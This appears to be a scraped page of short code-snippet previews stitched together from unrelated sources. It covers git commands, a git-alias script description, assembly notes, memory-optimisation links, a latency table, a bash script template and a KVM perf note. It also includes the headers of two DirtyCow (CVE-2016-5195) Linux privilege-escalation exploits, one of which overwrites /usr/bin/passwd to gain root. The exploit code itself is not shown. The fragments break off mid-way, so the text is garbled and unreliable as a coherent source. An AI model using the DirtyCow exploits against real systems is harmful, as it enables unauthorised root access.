-
name of the current banch and nothing else (for automation)
git rev-parse --abbrev-ref HEAD
-
all commits that your branch have that are not yet in master
git log master..<HERE_COMES_YOUR_BRANCH_NAME>
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten |
/* | |
* CVE-2016-5195 dirtypoc | |
* | |
* This PoC is memory only and doesn't write anything on the filesystem. | |
* /!\ Beware, it triggers a kernel crash a few minutes. | |
* | |
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread | |
*/ | |
#define _GNU_SOURCE |
This script sets up your Git environment by creating/setting several common aliases and shortcuts for them.
# -------- | |
# Hardware | |
# -------- | |
# Opcode - operational code | |
# Assebly mnemonic - abbreviation for an operation | |
# Instruction Code Format (IA-32) | |
# - Optional instruction prefix | |
# - Operational code |
Memory Optimization (Christer Ericson, GDC 2003)
http://realtimecollisiondetection.net/pubs/GDC03_Ericson_Memory_Optimization.ppt
Cache coherency primer (Fabian Giesen)
https://fgiesen.wordpress.com/2014/07/07/cache-coherency/
Code Clinic 2015: How to Write Code the Compiler Can Actually Optimize (Mike Acton)
http://gdcvault.com/play/1021866/Code-Clinic-2015-How-to
Latency Comparison Numbers (~2012) | |
---------------------------------- | |
L1 cache reference 0.5 ns | |
Branch mispredict 5 ns | |
L2 cache reference 7 ns 14x L1 cache | |
Mutex lock/unlock 25 ns | |
Main memory reference 100 ns 20x L2 cache, 200x L1 cache | |
Compress 1K bytes with Zippy 3,000 ns 3 us | |
Send 1K bytes over 1 Gbps network 10,000 ns 10 us | |
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD |
#!/usr/bin/env bash | |
set -Eeuo pipefail | |
trap cleanup SIGINT SIGTERM ERR EXIT | |
script_dir=$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd -P) | |
usage() { | |
cat <<EOF | |
Usage: $(basename "${BASH_SOURCE[0]}") [-h] [-v] [-f] -p param_value arg1 [arg2...] |
But default in linux you can figure out how many times and for what reasons there is a VM Exit from a VM into the kvm kernel module. However given the ubiquity of vhost and the ability of kvm to emulate most device models directly in the kernel, most of those VM exits do not result in a transition from host kernel into the QEMU. The transitions from VM -> kvm -> QEMU are typically the most expensive.
Here we try to figure out how many of the VM Exits result in the invocation of QEMU.
This can be done very simply with perf